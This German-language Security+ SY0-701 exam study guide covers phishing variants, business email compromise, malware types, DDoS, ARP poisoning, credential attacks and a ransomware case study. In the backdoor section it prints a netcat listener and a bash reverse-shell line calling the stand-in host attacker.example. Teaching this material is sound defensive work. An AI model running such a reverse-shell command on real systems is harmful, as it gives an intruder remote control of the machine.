CompTIA SY0-701: Bedrohungen, Angriffe & Schwachstellen — Lernleitfaden

By Laurynas Brazys · 20 July 2026 · #comptia #sy0-701 #certification #exam-prep #study-guide

Teil des CompTIA Security+ SY0-701 — Lernleitfaden. Üben Sie mit verifizierten Antworten im CompTIA-Prüfungscenter, oder absolvieren Sie zeitlich begrenzte Übungstests auf ExamRoll.io.

Die moderne Bedrohungslandschaft ist geprägt von Angreifern, die technische Ausnutzung mit menschlicher Manipulation kombinieren, geringfügige Schwachstellen zu schwerwiegenden Kompromittierungen verketten und ihre Aktivitäten in legitimen Geschäftsprozessen tarnen. Das Verständnis von Bedrohungen beginnt damit, Absicht, Fähigkeit und Vektor zu verstehen – und sich zu weigern, das oberflächliche Symptom als vollständige Erklärung zu akzeptieren.

Social Engineering und Phishing-Varianten

Social Engineering nutzt Vertrauen, Dringlichkeit, Autorität oder Neugier aus, anstatt Software-Schwachstellen. Traditionelles Phishing wirft ein weites Netz per E-Mail aus und versendet generische Köder wie gefälschte Versandbenachrichtigungen oder Anfragen zum Zurücksetzen von Passwörtern an Tausende von Empfängern. Spear-Phishing verengt den Fokus und nutzt Informationen aus LinkedIn, Unternehmenswebsites oder Daten aus Sicherheitsverletzungen (Breach-Dumps), um Nachrichten zu erstellen, die auf eine bestimmte Person oder Abteilung zugeschnitten sind. Whaling zielt auf Führungskräfte ab – der CFO, der eine Nachricht erhält, die so gestaltet ist, als käme sie von der externen Rechtsberatung, ist das klassische Ziel –, da ihre Autorität Betrug mit größerer Tragweite ermöglicht.

Kanalvarianten erweitern dieselbe Manipulation auf andere Medien. Vishing (Voice-Phishing) verwendet Telefonanrufe, oft mit gefälschter Anrufer-ID und einem Vorwand, wie z. B. sich als IT-Helpdesk auszugeben, um MFA-Codes zu extrahieren. Smishing nutzt SMS und verwendet häufig verkürzte URLs und mobil-spezifische Köder („Ihr Paket konnte nicht zugestellt werden – vereinbaren Sie hier einen neuen Termin“). Da mobile Browser URLs kürzen und Zertifikatsdetails verbergen, hat Smishing eine unverhältnismäßig hohe Erfolgsquote.

Business Email Compromise (BEC) verdient besondere Aufmerksamkeit, da hierbei in der Regel überhaupt keine Malware involviert ist. Ein Angreifer, der entweder ein legitimes Postfach kompromittiert oder eine ähnlich aussehende Domain gespooft hat (accounts@vend0r-corp.com anstelle von accounts@vendor-corp.com), klinkt sich in einen echten Rechnungsverlauf ein und leitet eine Überweisung um. Da der E-Mail-Inhalt kontextuell korrekt ist und keine Anhänge vorhanden sind, bieten Gateway-Anti-Malware und URL-Sandboxing wenig Schutz. Das IC3 des FBI meldete für ein einziges Jahr BEC-Verluste von über 2,9 Milliarden US-Dollar, was es mit weitem Abstand zur Cybercrime-Kategorie mit dem höchsten finanziellen Schaden macht.

Eine häufige Falle ist die Überinterpretation harmlos erscheinender Symptome. Wenn ein Benutzer Anmeldedaten auf einer Phishing-Seite eingibt und eine „Seite nicht gefunden“-Fehlermeldung erhält, ist der Vorfall nicht abgeschlossen – es handelt sich um einen abgeschlossenen Diebstahl von Anmeldeinformationen, bei dem der Angreifer das Opfer nach der Erfassung umgeleitet hat. Das Fehlen einer offensichtlichen Fehlerseite ist ein Merkmal des Angriffs, kein Beweis für sein Scheitern.

Malware-Arten

Malware ist kein Monolith. Ransomware verschlüsselt Daten und fordert eine Zahlung. Moderne Varianten wie Ryuk, Conti und LockBit exfiltrieren zudem zuerst Daten, um eine doppelte Erpressung zu ermöglichen. Ein verräterisches Anzeichen ist eine massenhafte Änderung von Dateierweiterungen – Dateien werden in .ryk, .locked oder eine zufällige Zeichenfolge umbenannt – zusammen mit Erpresserbriefen namens README.txt oder HOW_TO_DECRYPT.html in jedem Verzeichnis.

Rootkits operieren auf einer viel tieferen Ebene, indem sie sich in Kernel-Strukturen, Systemaufruftabellen oder Firmware (Bootkits, UEFI-Implantate) einhaken, um Prozesse, Dateien und Netzwerkverbindungen vor dem Betriebssystem selbst zu verbergen. Da Standard-Tools den Kernel abfragen, den das Rootkit kontrolliert, kann der Ausgabe von tasklist oder ps nicht vertraut werden; die Erkennung erfordert typischerweise eine Offline-Forensik-Analyse (Imaging) oder den Vergleich mit einem bekanntermaßen guten Ausgangszustand (Baseline) mithilfe von Tools wie chkrootkit oder einer Speicheranalyse mit Volatility.

Backdoors bieten persistenten, unautorisierten Zugriff und werden oft nach der initialen Kompromittierung installiert. Sie können die Form einer geplanten Aufgabe (Scheduled Task) annehmen, die Signale an einen Command-and-Control-Server sendet, einer fest codierten Anmeldeinformation in einer Anwendung oder eines lauschenden Dienstes auf einem unauffälligen Port. Reverse Shells, die Tools wie Netcat oder Meterpreter verwenden, sind typisch:

# Attacker listener
nc -lvnp 4444

# Victim callback (dropped by malware)
bash -i >& /dev/tcp/attacker.example/4444 0>&1

Die Falle hier ist ein Tunnelblick bei der Triage. Eine schnell unter Quarantäne gestellte Warnung mit der Bezeichnung „Malware erkannt“ bedeutet nicht, dass der Vorfall beendet ist – der ursprüngliche Dropper hat möglicherweise bereits eine Backdoor eingerichtet oder ein Rootkit installiert, das der Endpoint-Agent nicht sehen kann.

Netzwerkangriffe

Distributed-Denial-of-Service-Angriffe (DDoS) zielen auf die Verfügbarkeit ab. Volumetrische Angriffe – UDP-Floods, ICMP-Floods – verbrauchen die reine Bandbreite. Reflektierte/verstärkte Angriffe (Reflected/Amplified Attacks) missbrauchen Dienste von Drittanbietern, die mit größeren Payloads antworten, als die Anfrage war; eine DNS-Anfrage von 60 Bytes mit einer gefälschten Quelladresse kann eine Antwort von 3.000 Bytes zurückgeben, und NTP-monlist- oder Memcached-Amplification-Angriffe können Verhältnisse von über 50.000:1 erreichen. Wenn öffentliche Webdienste auf dem Server „online“ bleiben, aber aus dem Internet nicht erreichbar sind, und Netzwerkprotokolle eine Verkehrsspitze zeigen, ist die Antwort fast immer ein DDoS, der die Upstream-Verbindungen oder Zustandstabellen sättigt – und kein Anwendungsfehler.

On-Path-Angriffe (früher „Man-in-the-Middle“) platzieren den Angreifer zwischen zwei kommunizierenden Parteien. In einem lokalen Netzwerk ist ARP-Poisoning der übliche Mechanismus: Der Angreifer sendet unaufgefordert ARP-Antworten, in denen er behauptet, die IP des Gateways zu besitzen, sodass der Verkehr des Opfers unbemerkt über den Host des Angreifers geleitet wird. Tools wie ettercap oder arpspoof automatisieren dies, woraufhin der Angreifer TLS mit sslstrip entfernen oder Inhalte einschleusen kann.

Beim Typosquatting werden Domains registriert, die legitime Domains nachahmen (goggle.com, paypa1.com), um falsch eingegebene URLs abzufangen oder als überzeugende Infrastruktur für Phishing und BEC zu dienen.

Angriffe auf Anmeldeinformationen

Anstatt Code auszunutzen, zielen Angriffe auf Anmeldeinformationen auf schwache Authentifizierung ab. Brute-Force-Angriffe probieren jedes mögliche Passwort für ein einziges Konto aus. Sie sind „laut“ und lösen Sperrrichtlinien aus. Password Spraying kehrt dieses Modell um: Es wird ein oder zwei sehr verbreitete Passwörter (Winter2024!, Password123) gegen Tausende von Konten ausprobiert, wobei die Sperrschwelle für jedes einzelne Konto unterschritten wird. Dies ist außergewöhnlich effektiv gegen Organisationen, die keine MFA für ihre Cloud-Identitätsanbieter verwenden.

Credential Stuffing verwendet Benutzername/Passwort-Paare, die aus früheren Sicherheitsverletzungen stammen, und nutzt dabei die Wiederverwendung von Passwörtern über verschiedene Dienste hinweg aus. Da die Anmeldeinformationen für mindestens einen Dienst gültig sind, umgehen sie grundlegende Authentifizierungskontrollen. Der Okta-Sicherheitsvorfall von 2022 begann mit Credential Stuffing gegen das Konto eines externen Support-Mitarbeiters – was zeigt, dass selbst Identitätsanbieter nicht immun sind, wenn MFA nicht für jeden privilegierten Zugriffspfad erzwungen wird.

Pass-the-Hash- und Pass-the-Ticket-Angriffe stehlen Authentifizierungsmaterial aus dem Arbeitsspeicher, anstatt Passwörter zu knacken. Auf Windows-Systemen können NTLM-Hashes, die im LSASS-Speicher abgelegt sind, mit Mimikatz extrahiert und wiederverwendet werden, um sich bei anderen Systemen zu authentifizieren, ohne das Klartextpasswort zu kennen. Kerberos Ticket-Granting Tickets (TGTs) können auf ähnliche Weise gestohlen und wiederverwendet werden. Zu den Gegenmaßnahmen gehören Credential Guard (das LSASS in einer virtualisierungsbasierten Sicherheitsenklave isoliert), die Mitgliedschaft in der Sicherheitsgruppe „Protected Users“ und die Deaktivierung von NTLM, wo Kerberos verfügbar ist.

Praktisches Szenario: Ransomware durch Password Spraying

Ein Logistikunternehmen mit 2.400 Mitarbeitern hatte MFA für seinen Microsoft 365 Tenant nicht erzwungen. Ein Angreifer führte über drei Tage hinweg einen Password-Spray-Angriff durch, wobei er das Passwort Summer2023! gegen alle bekannten E-Mail-Adressen testete, die von LinkedIn gesammelt wurden. Bei 41 Konten war der Versuch erfolgreich. Der Angreifer nutzte ein kompromittiertes Konto – das eines Regionalmanagers – um auf das VPN des Unternehmens zuzugreifen, das M365-Anmeldeinformationen akzeptierte. Vom VPN aus führte der Angreifer zwei Wochen lang interne Aufklärung (Reconnaissance) durch und identifizierte dabei Backup-Server und Domain Controller. An einem Freitagabend wurde die LockBit-Ransomware auf 340 Servern gezündet. Die Wiederherstellung dauerte 19 Tage und kostete circa 4,1 Millionen US-Dollar, einschließlich Lösegeld, Forensik und Umsatzeinbußen. Die gesamte Angriffskette wurde durch eine einzige fehlende Kontrollmaßnahme ermöglicht: MFA für den M365-Tenant. Password Spraying ist erkennbar – eine SIEM-Regel, die fehlgeschlagene Authentifizierungen von einer einzigen IP-Adresse über viele Konten hinweg korreliert, hätte den Angriff bereits am ersten Tag gemeldet.

← Identitäts- · Alle Domänen · Netzwerksicherheit →

Diese Fragen üben → · Zeitlich begrenzte Übung auf ExamRoll.io →